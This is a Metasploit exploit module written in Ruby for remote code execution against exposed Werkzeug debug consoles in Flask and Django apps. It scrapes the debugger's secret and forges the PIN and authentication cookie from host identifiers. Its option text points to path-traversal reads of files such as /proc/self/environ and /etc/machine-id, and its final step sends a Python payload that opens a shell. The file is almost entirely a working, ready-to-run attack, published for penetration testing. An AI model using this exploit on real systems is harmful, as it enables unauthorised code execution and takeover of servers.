##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  Rank = GoodRanking

  METHODS_WITH_BODY = %w[POST PUT PATCH].freeze
  COOKIE_PATTERN = /__wzd[[:xdigit:]]{20}=\d+\|[[:xdigit:]]{12}/.freeze
  MAC_PATTERN = /^[[:xdigit:]]{2}([-:]?)(?:[[:xdigit:]]{2}\1){4}[[:xdigit:]]{2}$/.freeze
  PIN_PATTERN = /^[[:digit:]-]+$/.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution',
        'Description' => %q{
          This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django. It may also be used alone.

          The documentation states the following: "The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production." Of course this doesn't prevent developers from mistakenly enabling it in production!

          Tested against the following Werkzeug versions:
          - 3.0.3  on Debian 12, Windows 11 and macOS 14.6
          - 1.1.4  on Debian 12
          - 1.0.1  on Debian 12
          - 0.11.5 on Debian 12
          - 0.10   on Debian 12
        },
        'Author' => [
          'h00die <mike[at]shorebreaksecurity.com>',
          'Graeme Robinson <metasploit[at]grobinson.me>/@GraSec'
        ],
        'References' => [
          ['CVE', '2024-34069'],
          ['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'],
          ['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'],
          [
            'URL',
            'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'
          ],
          [
            'URL',
            'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger'
          ],
          [
            'URL',
            'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \
            'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a'
          ]
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['python'],
        'Targets' => [
          # pip install werkzeug==3.0.3 flask==3.0.3
          [
            'Werkzeug > 1.0.1 (Flask > 1.1.4)',
            {
              digest: Digest::SHA1,
              digest_inputs: :new,
              salt: ' added salt' # From site-packages/werkzeug/debug/__init__.py > hash_pin()
            }
          ],
          # pip install werkzeug==1.0.1 flask==1.1.4
          [
            'Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)',
            {
              digest: Digest::MD5,
              digest_inputs: :new,
              salt: 'shittysalt' # From site-packages/werkzeug/debug/__init__.py > hash_pin()
            }
          ],
          # pip install werkzeug==0.11.5 flask==0.12.5
          [
            'Werkzeug 0.11 - 0.11.5 (Flask < 1.0)',
            {
              digest: Digest::MD5,
              digest_inputs: :old,
              salt: 'shittysalt' # From site-packages/werkzeug/debug/__init__.py > hash_pin()
            }
          ],
          # pip install werkzeug==0.10 flask==0.12.5
          ['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version
        ],
        'Arch' => ARCH_PYTHON,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2015-06-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
        }
      )
    )

    register_options(
      [
        OptEnum.new('AUTHMODE', [
          true, 'Authentication mode', 'generated-cookie',
          %w[generated-cookie known-cookie known-PIN none]
        ]),
        OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]),
        OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']),

        # Options for using a known cookie/PIN
        OptString.new('PIN', [
          false, 'PIN to use for authentication. This can be set to a custom value by the ' \
                                     "application developer, in which case generating the pin won't work, but if you" \
                                     'have path traversal, you may be able to retrieve this pin by reading the ' \
                                     'application source code, or, on Linux by reading /proc/self/environ to obtain ' \
                                     'the value of the WERKZEUG_DEBUG_PIN environment variable', nil
        ],
                      conditions: %w[AUTHMODE == known-PIN]),
        OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil],
                      conditions: %w[AUTHMODE == known-cookie]),

        # Options for generating cookie/PIN
        OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'],
                      conditions: %w[AUTHMODE == generated-cookie]),
        # https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho
        # https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2
        OptString.new('CGROUP', [
          false,
          "Control group. This may be an empty string (''), for example if the OS running the " \
          'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \
          'traversal on Linux, this could be read from /proc/self/cgroup',
          ''
        ], conditions: %w[AUTHMODE == generated-cookie]),
        OptString.new('FLASKPATH', [
          false,
          'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \
          'debugger via an exception, it will be at the top of the stack trace. E.g. ' \
          '/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \
          'need to be changed to .pyc)', ''
        ],
                      conditions: %w[AUTHMODE == generated-cookie]),
        # https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential
        OptString.new('MACADDRESS', [
          false,
          'MAC address of the system that the service is running on. If you have path ' \
          'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil
        ],
                      conditions: %w[AUTHMODE == generated-cookie]),
        OptString.new('MACHINEID', [
          false,
          'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \
          "if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \
          'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \
          'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \
          'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \
          '4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \
          "retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \
          '\"serial-number\"', nil
        ],
                      conditions: %w[AUTHMODE == generated-cookie]),
        OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or werkzeug.debug', 'flask.app'],
                      conditions: %w[AUTHMODE == generated-cookie]),
        OptString.new('SERVICEUSER', [
          false,
          'User account name that the service is running under. If you have path ' \
          'traversal on Linux, you may be able to read this from /proc/self/environ',
          'root'
        ],
                      conditions: %w[AUTHMODE == generated-cookie]),

        # Options for sending a body, if required to invoke the debugger
        OptString.new(
          'REQUESTBODY',
          [false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"],
          conditions: ['METHOD', 'in', METHODS_WITH_BODY]
        ),

        # This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me!
        OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'],
                      conditions: %w[REQUESTBODY == set])
      ],
      self.class
    )
  end

  def all_generation_values_set?
    datastore['SERVICEUSER'] && datastore['MODULENAME'] && datastore['APPNAME'] && datastore['FLASKPATH'] &&
      datastore['MACADDRESS'] && datastore['MACHINEID'] && datastore['CGROUP']
  end

  def config_invalid?
    # Check that target supports selected authentication mode
    if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none'
      return CheckCode::Unknown(
        "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \
        "require/support authentication. Change TARGET or set AUTHMODE to 'none'"
      )
    end

    case datastore['AUTHMODE']
    when 'known-cookie'
      unless COOKIE_PATTERN =~ datastore['COOKIE']
        return CheckCode::Unknown(
          'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \
          "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'"
        )
      end
    when 'known-PIN'
      unless PIN_PATTERN =~ datastore['PIN']
        return CheckCode::Unknown(
          'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens'
        )
      end
    when 'generated-cookie'
      # Check that *all* values used to generate cookie & pin are set
      unless all_generation_values_set?
        return CheckCode::Unknown(
          "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \
          'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP'
        ) # Alphabetise
      end
      # Check for valid MAC address
      unless MAC_PATTERN =~ datastore['MACADDRESS']
        return CheckCode::Unknown("#{datastore['MACADDRESS']} is not a valid MAC address")
      end
    end

    # Check that requestbody is not specified if method doesn't support it
    return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD'])

    return CheckCode::Unknown(
      "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body"
    )
  end

  # Retrieve secret and frame
  def secret_and_frame
    res = send_request_cgi(
      'method' => datastore['METHOD'],
      'uri' => normalize_uri(target_uri),
      'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])),
      'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY'])
    )
    unless res
      print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}"
      return
    end

    # Regex hell. Considered an HTML parser here but regex would still be needed to parse the JavaScript
    # A redundant escape is required to work around broken syntax highlighting in Sublime Text
    # rubocop:disable Style/RedundantRegexpEscape
    /(?:EVALEX\ =\ (?<evalex_enabled>true),.*?)?       # Code execution in debugger enabled
     (?:EVALEX_TRUSTED\ =\ (?<pin_required>false),.*)? # Pin required if 'false' matches. This technique supports v0.10-
     SECRET\ =\ \"(?<secret>[a-zA-Z0-9]{20})";         # Secret
     (?:.*? id="frame-(?<frame>[0-9]+)")?              # Frame number, if it exists (i.e. if debugger)
     .*Werkzeug\ powered\ traceback\ interpreter       # Service Identifier
    /mx.match(res.body)
    # rubocop:enable Style/RedundantRegexpEscape
  end

  # Authenticate with PIN to retrieve cookie
  def cookies(secret)
    res, duration = Rex::Stopwatch.elapsed_time do
      send_request_cgi(
        'uri' => normalize_uri(target_uri),
        'vars_get' => {
          '__debugger__' => 'yes',
          'cmd' => 'pinauth',
          'pin' => datastore['PIN'],
          's' => secret
        }
      )
    end
    unless res
      fail_with(Failure::TimeoutExpired,
                "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}")
    end
    if res.get_json_document['exhausted']
      fail_with(Failure::NoAccess,
                "Failed to authenticate using PIN: #{datastore['PIN']}. PIN authentication attempts " \
                'exhausted. The remote application must be restarted to re-enable PIN authentication.')
    end
    unless COOKIE_PATTERN =~ res.get_cookies
      attempts_text = duration < 5 ? 'at least' : 'fewer than'
      fail_with(Failure::NoAccess,
                "Failed to authenticate using PIN: #{datastore['PIN']}. However, the application did not report " \
                'failed authentication exhaustion count has been reached. The time taken to receive a response ' \
                "indicates that #{attempts_text} 5 more attempts can be made before PIN authentication is disabled " \
                'which would require the application to be restarted to re-enable PIN authentication.')
    end
    res.get_cookies
  end

  def generated_cookie
    # Ported from https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py
    digest = target.opts[:digest].new
    digest << datastore['SERVICEUSER']
    digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s if target.opts[:digest_inputs] == :old
    digest << datastore['MODULENAME']
    digest << datastore['APPNAME']
    digest << datastore['FLASKPATH']
    if target.opts[:digest_inputs] == :new
      digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s
      digest << datastore['MACHINEID']
      cgroup = datastore['CGROUP'].split('/')
      digest << cgroup[2] if cgroup[2]
    end
    digest << 'cookiesalt'
    case target.opts[:digest_inputs]
    when :new
      cookie_key = "__wzd#{digest.hexdigest[0..19]}"
      digest << 'pinsalt'
    when :old
      cookie_key = "__wzd#{digest.hexdigest[0..11]}"
    end
    pin = digest.hexdigest.to_i(16).to_s[0..8].scan(/.{3}/).join '-'
    print_status "Generated authentication PIN: #{pin}"
    expiry = '9999999999' # Sat, 20 Nov 2286 17:46:39 +00:00 (!)
    case target.opts[:digest_inputs]
    when :new
      cookie_value = digest.hexdigest("#{pin}#{target.opts[:salt]}")[0, 12]
      cookie = "#{cookie_key}=#{expiry}|#{cookie_value}"
    when :old
      cookie = "#{cookie_key}=#{expiry}"
    end
    print_status "Generated authentication cookie: #{cookie}"
    cookie
  end

  def execute_python(cmd, secret, frame, cookies = '')
    send_request_cgi(
      'method' => 'GET',
      # Path without querystring because triggering debugger may have required parameters
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => {
        '__debugger__' => 'yes',
        'cmd' => cmd,
        's' => secret,
        'frm' => frame
      },
      'cookie' => cookies
    )
  end

  def check_code_exec(secret, frame, cookies = '')
    canary = rand
    execute_python(canary, secret, frame, cookies).body.start_with? ">>> #{canary}"
  end

  def check
    c = config_invalid?
    return c if c

    match = secret_and_frame
    unless match
      return CheckCode::Unknown('HTTP response not recognised as Werkzeug')
    end
    unless match[:evalex_enabled]
      return CheckCode::Safe('Debugger does not allow code execution')
    end

    print_status 'Debugger allows code execution'
    if match[:pin_required]
      return CheckCode::Detected('Debugger requires authentication')
    end

    print_status 'Debugger does not require authentication'
    # Now check whether code execution is possible by evaluating something
    unless check_code_exec(match[:secret], match[:frame] || 0)
      return CheckCode::Safe('Attempted code execution failed')
    end

    CheckCode::Vulnerable('Code execution was successful')
  end

  def exploit
    # First we try to get the SECRET code (and frame number if debugger rather than console)
    fail_with(Failure::UnexpectedReply, 'Werkzeug "Secret" could not be retrieved') unless (match = secret_and_frame)
    vprint_status "Secret Code: #{match[:secret]}"
    vprint_status "Frame: #{match[:frame] || 0}" # Frame should be set to 0 if not in response (e.g. if using console)

    case datastore['AUTHMODE']
    when 'known-PIN'
      cookies = cookies match[:secret]
      vprint_status "Authenticated using PIN: #{datastore['PIN']}"
      print_status "Retrieved authentication cookie: #{cookies}"
    when 'known-cookie'
      cookies = datastore['cookie']
    when 'generated-cookie'
      cookies = generated_cookie
    end

    # Check whether code execution is possible by evaluating something
    unless check_code_exec(match[:secret], match[:frame] || 0, cookies)
      fail_with(Failure::NoAccess, 'Response indicates that code execution failed')
    end
    vprint_status 'Code execution was successful. Sending payload.'

    # Send the payload to the debugger along with the values extracted from the previous response
    res = execute_python(payload.encoded, match[:secret], match[:frame] || 0, cookies)
    unless res.body.start_with? '>>> '
      fail_with(Failure::PayloadFailed, 'Response indicates that payload has not been executed sucessfully')
    end
    vprint_status 'Response indicates that payload has been executed. Note: This does not indicate a lack of errors'
  end
end
